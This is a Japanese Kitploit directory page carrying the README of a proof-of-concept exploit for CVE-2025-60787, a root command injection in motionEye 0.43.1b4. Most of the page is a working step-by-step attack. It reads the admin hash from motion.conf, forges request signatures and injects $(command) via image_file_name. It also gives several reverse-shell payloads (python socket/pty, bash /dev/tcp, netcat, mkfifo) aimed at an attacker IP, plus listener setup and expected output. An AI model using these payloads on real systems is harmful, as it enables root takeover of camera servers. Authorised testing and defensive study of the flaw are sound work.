Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2025-60787 — CVE-2025-60787の概念実証エクスプロイト。motionEye v0.43.1b4のOSコマンドインジェクションで、巧妙に細工されたimage_file_nameパラメータを介してリモートコード実行を可能にします。 | Kitploit
ツール/GitHubGitHub/agent-skywalker/cve-2025-60787
パスワード攻撃脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテストコマンド&コントロールレッドチーミングペイロード開発
GitHubagent-skywalker/cve-2025-60787

CVE-2025-60787

CVE-2025-60787の概念実証エクスプロイト。motionEye v0.43.1b4のOSコマンドインジェクションで、巧妙に細工されたimage_file_nameパラメータを介してリモートコード実行を可能にします。

リポジトリを見る
136ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2025-60787 - MotionEye RCE

MotionEye v0.43.1b4 OSコマンドインジェクション

これは、motionデーモン用のWebフロントエンドである motionEye の脆弱性に対するOSコマンドインジェクションの概念実証エクスプロイトです。この脆弱性は image_file_name 設定パラメータを悪用します。このパラメータはサニタイズなしでシェルに直接渡されるため、$(command) サブシェル構文による任意のコマンドインジェクションが可能になります。

免責事項: このツールは、テストする明示的な許可を得たシステムに対してのみ使用してください。無断使用は違法です。


目次

  • 脆弱性の仕組み
  • 前提条件
  • ステップ1 — 管理者パスワードハッシュの特定
  • ステップ2 — 認証チェーンの理解
  • ステップ3 — 署名アルゴリズムの理解
  • ステップ4 — エクスプロイトの設定
  • ステップ5 — リスナーの起動
  • ステップ6 — エクスプロイトの実行
  • パラメータリファレンス
  • トラブルシューティング

脆弱性の仕組み

motionEye は、image_file_name 設定値をシェルのファイル名パターンとして motion デーモンに直接渡します。motion はスナップショット時にファイル名内の $(...) サブシェル式を評価するため、$(...) 内に配置された任意のコマンドが、motion プロセスを実行しているユーザー(通常は root)として実行されます。

攻撃チェーン全体は以下のとおりです:

root@kitploit:~
1. Read admin_password hash from /etc/motioneye/motion.conf
         ↓
2. Derive cookie hash = SHA1(admin_password_hash)
         ↓
3. Compute HMAC signature using motionEye's exact algorithm:
   SHA1("METHOD:path:body:key")
         ↓
4. POST malicious config to /config/{cam}/set/ with:
   image_file_name = $(your_command).%Y-%m-%d-%H-%M-%S
         ↓
5. Trigger snapshot via unauthenticated motion control port 7999
         ↓
6. Motion evaluates the filename → command executes as root
         ↓
7. Reverse shell connects back to attacker machine

前提条件

  • Python 3.6+
  • 対象の motionEye インスタンスへのネットワークアクセス(デフォルトポート 8765)
  • /etc/motioneye/motion.conf の管理者パスワードハッシュ
  • 攻撃マシン上のリスナー(例: nc)

サードパーティ製のPythonパッケージは不要です。エクスプロイトは標準ライブラリのみを使用します。


ステップ1 — 管理者パスワードハッシュの特定

motionEye の設定ファイルには、管理者パスワードが SHA1 ハッシュとして保存されています。ターゲットから読み取ります:

root@kitploit:~
cat /etc/motioneye/motion.conf

@admin_password コメント行を探します:

root@kitploit:~
# @admin_username admin
# @admin_password 989c5a8ee87a0e9521ec81a79187d162109282f0

@admin_password の後の値は、平文パスワードの SHA1 ハッシュであり、パスワードそのものではありません。エクスプロイトに必要なのはこのハッシュです。

また、webcontrol_port の値に注目してください。これは、スナップショットをトリガーするために使用される、認証不要の motion コントロールポートです:

root@kitploit:~
webcontrol_port 7999
webcontrol_localhost on
root@kitploit:~
user@test:/tmp$ cat /etc/motioneye/motion.conf
# @admin_username admin
# @normal_username user
# @admin_password 989c5a8ee87a0e9521ec81a79187d162109282f0
# @lang en
# @enabled on
# @normal_password 


setup_mode off
webcontrol_port 7999
webcontrol_interface 1
webcontrol_localhost on
webcontrol_parms 2

camera camera-1.conf
camera camera-2.conf

ステップ2 — 認証チェーンの理解

motionEye は二重ハッシュの認証方式を使用しています:

root@kitploit:~
plaintext_password
       │
       ▼  SHA1
admin_password  ←── stored in motion.conf as @admin_password
       │
       ▼  SHA1
cookie_hash     ←── sent in browser cookie as meye_password_hash
       │
       ▼  used as HMAC key
request_signature ←── _signature= parameter in every API request

エクスプロイトは、設定ハッシュからクッキーハッシュを自動的に導出します:

root@kitploit:~
cookie_hash = hashlib.sha1(admin_password_hash.encode()).hexdigest()

手動で確認することもできます:

root@kitploit:~
echo -n "989c5a8ee87a0e9521ec81a79187d162109282f0" | sha1sum
# output: 238bd0f26e9f987d2dc9c0351c018e5f52534052

ステップ3 — 署名アルゴリズムの理解

署名は、motionEye のソースコードから計算されます。
/usr/local/lib/python3.x/dist-packages/motioneye/utils/__init__.py:

root@kitploit:~
SHA1("METHOD:path:body:key")

ここで:

  • METHOD — HTTPメソッド (POST)
  • path — クエリ文字列から _signature を除去し、パラメータをソートし、値をURLエンコードした後、_SIGNATURE_REGEX でフィルタリングしたURI
  • body — _SIGNATURE_REGEX でフィルタリングした生のJSONボディ文字列
  • key — admin_password または admin_hash(motionEye は両方を受け入れます)のいずれかで、_SIGNATURE_REGEX でフィルタリングしたもの

_SIGNATURE_REGEX は、[a-zA-Z0-9/?_.=&{}\[\]":, -] に含まれない文字をすべて除去し、- に置き換えます。


ステップ4 — エクスプロイトの設定

exploit.py を開き、先頭で以下の変数を設定します:

root@kitploit:~
MOTIONEYE_URL = "http://127.0.0.1:8765"   # motionEye web UI URL
MOTION_URL    = "http://127.0.0.1:7999"   # motion control port (no auth)
USERNAME      = "admin"                    # admin username (default: admin)
ADMIN_HASH    = "989c5a8ee87a0e9521ec81a79187d162109282f0"  # from motion.conf

LHOST = "10.10.16.153"   # your listener IP — the target must be able to reach this
LPORT = "4444"           # your listener port

リバースシェルコマンドは、LHOST と LPORT から自動的に設定されます:

root@kitploit:~
COMMAND = f"python3 -c 'import socket,os,pty;s=socket.socket();s.connect((\"{LHOST}\",{LPORT}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(\"/bin/bash\")'"

代替シェルコマンド — デフォルトがブロックされている場合は COMMAND を入れ替えてください:

root@kitploit:~
# Bash TCP (simple, may be filtered)
COMMAND = f"bash -i >& /dev/tcp/{LHOST}/{LPORT} 0>&1"

# Netcat with -e flag
COMMAND = f"nc -e /bin/bash {LHOST} {LPORT}"

# Netcat without -e (OpenBSD netcat)
COMMAND = f"rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc {LHOST} {LPORT} > /tmp/f"

ステップ5 — リスナーの起動

攻撃マシンで、エクスプロイトを実行する前に netcat リスナーを起動します:

root@kitploit:~
nc -lvnp 4444

エクスプロイトは、リスナーの注意喚起を表示した後、ターミナルを切り替える時間を確保するため5秒間一時停止します。


ステップ6 — エクスプロイトの実行

root@kitploit:~
python3 exploit.py

期待される出力:

root@kitploit:~
============================================================
  motionEye RCE — Reverse Shell
============================================================

[*] LHOST      : 10.10.16.153
[*] LPORT      : 4444
[*] Command    : python3 -c '...'

[!] Start your listener NOW:
    nc -lvnp 4444

[*] Sending payload in 5 seconds...

[*] cam=2 key=admin_password ts=1773484327292
    sig=abc123...
    status=200 resp={}

[+] Config saved! cam=2 key=admin_password

[*] Triggering snapshots via port 7999 (no auth)...
[+] cam 0 → 200 Snapshot for camera 0 Done
[+] cam 1 → 200 Snapshot for camera 1 Done
[+] cam 2 → 200 Snapshot for camera 2 Done

[+] Snapshot triggered — check your listener on 10.10.16.153:4444

リスナーには次のように受信されます:

root@kitploit:~
listening on [any] 4444 ...
connect to [10.10.16.153] from (UNKNOWN) [target_ip] 51234
root@test:/var/lib/motioneye/Camera2#

パラメータリファレンス


トラブルシューティング

すべてのリクエストで403 Unauthorized

署名が間違っています。ADMIN_HASH の値が motion.conf の @admin_password 行と完全に一致することを確認してください。スペースや改行文字を含めないでください。

root@kitploit:~
cat /etc/motioneye/motion.conf | grep admin_password

スナップショットはトリガーされるが、シェルが届かない

image_file_name インジェクションは成功しましたが、リバースシェルがブロックされました。ステップ4の代替 COMMAND を試してください。また、ターゲットが LHOST に到達できることを確認してください:

root@kitploit:~
# On target
ping -c 1 10.10.16.153
curl http://10.10.16.153:4444

ポート7999への接続が拒否される

webcontrol_localhost on 設定により、ポート7999はlocalhostのみに制限されます。エクスプロイトはターゲットマシン上で実行するか、トンネル経由で実行する必要があります。次のコマンドで確認してください:

root@kitploit:~
ss -tlnp | grep 7999

motion.conf を読み取れない

このファイルには、昇格した権限が必要な場合があります:

root@kitploit:~
sudo cat /etc/motioneye/motion.conf

カメラ設定が見つからない

どのカメラconfファイルが存在するかを確認し、必要に応じてエクスプロイトの cam リストを更新してください:

root@kitploit:~
ls /etc/motioneye/camera-*.conf


参照

  • CVE-2025-60787
  • motionEye ソース — utils/init.py
  • motionEye ソース — handlers/base.py
ツールをダウンロード
パラメータ場所説明例
MOTIONEYE_URLexploit.pymotionEye Webインターフェースの完全なURLhttp://127.0.0.1:8765
MOTION_URLexploit.pymotionコントロールポートのURL(認証不要)http://127.0.0.1:7999
USERNAMEexploit.pymotionEyeの管理者ユーザー名admin
ADMIN_HASHexploit.pymotion.conf の @admin_password からのSHA1ハッシュ989c5a8e...
LHOSTexploit.py攻撃マシンのIP — ターゲットから到達可能である必要があります10.10.16.153
LPORTexploit.pync リスナーが待ち受けるポート4444